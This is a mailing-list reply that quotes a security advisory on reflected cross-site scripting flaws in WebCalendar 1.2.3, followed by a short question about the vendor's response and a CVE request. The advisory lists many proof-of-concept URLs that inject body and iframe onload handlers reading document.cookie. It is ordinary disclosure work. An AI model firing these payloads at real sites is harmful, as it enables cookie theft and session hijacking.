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Re: Multiple Cross-Site Scripting vulnerabilities in WebCalendar



On Mon, Jul 04, 2011 at 06:46:09AM +0000, sschurtz@xxxxxxxxxxx wrote:
> Advisory:           Multiple Cross-Site Scripting vulnerabilities in WebCalendar
> Advisory ID:        SSCHADV2011-008
> Author:             Stefan Schurtz
> Affected Software:  Version 1.2.3 and probably prior versions
> Vendor URL:         http://www.k5n.us/webcalendar.php
> Vendor Status:      informed
> CVE-ID:             -
> 
> ==========================
> Vulnerability Description:
> ==========================
> 
> This is a Cross-Site Scripting vulnerability
> 
> ==================
> Technical Details:
> ==================
> 
> http://[target]/webapps/webcalendar/about/";><body onload=alert(document.cookie)>
> http://[target]/webapps/webcalendar/about/";><body onload=alert('XSS')>
> 
> http://[target]/webapps/webcalendar/colors.php?color=";><iframe onload=alert(document.cookie)>
> 
> http://[target]/webapps/webcalendar/datesel.php?form=";><iframe onload=alert(document.cookie)>
> http://[target]/webapps/webcalendar/datesel.php?form=3&fday=";><iframe onload=alert(document.cookie)>&fmonth=3&fyear=3&date=20110601
> http://[target]/webapps/webcalendar/datesel.php?form=3&fday=3&fmonth=";><iframe onload=alert(document.cookie)>&fyear=3&date=20110601
> http://[target]/webapps/webcalendar/datesel.php?form=3&fday=3&fmonth=3&fyear=";><iframe onload=alert(document.cookie)>&date=20110601
> 
> http://[target]/webapps/webcalendar/year.php/";><body onload=alert(document.cookie)>
> http://[target]/webapps/webcalendar/select_user.php/";><body onload=alert(document.cookie)>
> 
> http://[target]/webapps/webcalendar/week.php/";><body onload=alert(document.cookie)>
> http://[target]/webapps/webcalendar/month.php/";><body onload=alert(document.cookie)>
> http://[target]/webapps/webcalendar/search_handler.php/";><body onload=alert(document.cookie)>
> http://[target]/webapps/webcalendar/day.php/";><body onload=alert(document.cookie)>
> http://[target]/webapps/webcalendar/datesel.php/";><body onload=alert(document.cookie)>
> http://[target]/webapps/webcalendar/edit_entry.php/";><body onload=alert(document.cookie)>
> http://[target]/webapps/webcalendar/search.php/";><body onload=alert(document.cookie)>
> http://[target]/webapps/webcalendar/help_edit_entry.php/";><body onload=alert(document.cookie)>
> http://[target]/webapps/webcalendar/catsel.php/";><body onload=alert(document.cookie)>
> http://[target]/webapps/webcalendar/help_index.php/";><body onload=alert(document.cookie)>
> http://[target]/webapps/webcalendar/help_docs.php/";><body onload=alert(document.cookie)>
> http://[target]/webapps/webcalendar/help_bug.php/";><body onload=alert(document.cookie)>
> 
> =========
> Solution:
> =========
> 
> -
> 
> ====================
> Disclosure Timeline:
> ====================
> 
> 02-Jul-2011 - informed developers
> 02-Jul-2011 - Release date of this security advisory
> 
> ========
> Credits:
> ========
> 
> Vulnerabilities found and advisory written by Stefan Schurtz.
> 
> ===========
> References:
> ===========
> 
> http://www.k5n.us/webcalendar.php
> http://www.rul3z.de/advisories/SSCHADV2011-008.txt

How did the vendor react to your notification? Do you want me to request CVE-identifier for this issue or did you already request one?

Best regards,
Henri Salo